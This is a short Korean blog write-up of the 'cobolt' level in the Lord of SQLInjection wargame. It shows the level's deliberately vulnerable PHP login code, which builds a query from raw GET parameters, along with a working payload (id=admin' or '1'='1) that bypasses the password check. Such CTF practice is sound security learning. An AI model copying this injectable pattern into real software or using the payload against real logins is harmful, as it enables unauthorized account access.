문제
uery : select id from prob_cobolt where id='' and pw=md5('')
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
풀이
if 조건을 보면 id가 'admin'면 되고
쿼리를 보면 pw 부분이 있지만 or 조건으로 true로 만들면된다.
select id from prob_cobolt where id='admin' or '1'='1' and pw=md5('')
위와같은 쿼리를 만들기 위한 쿼리스트링은
id=admin%27+or+%271%27=%271&pw=
'WarGame > Load of SQLInjection' 카테고리의 다른 글
LOS GOBLIN (문자열 치환) (0) | 2024.03.07 |
---|---|
LOS gremlin (0) | 2023.12.22 |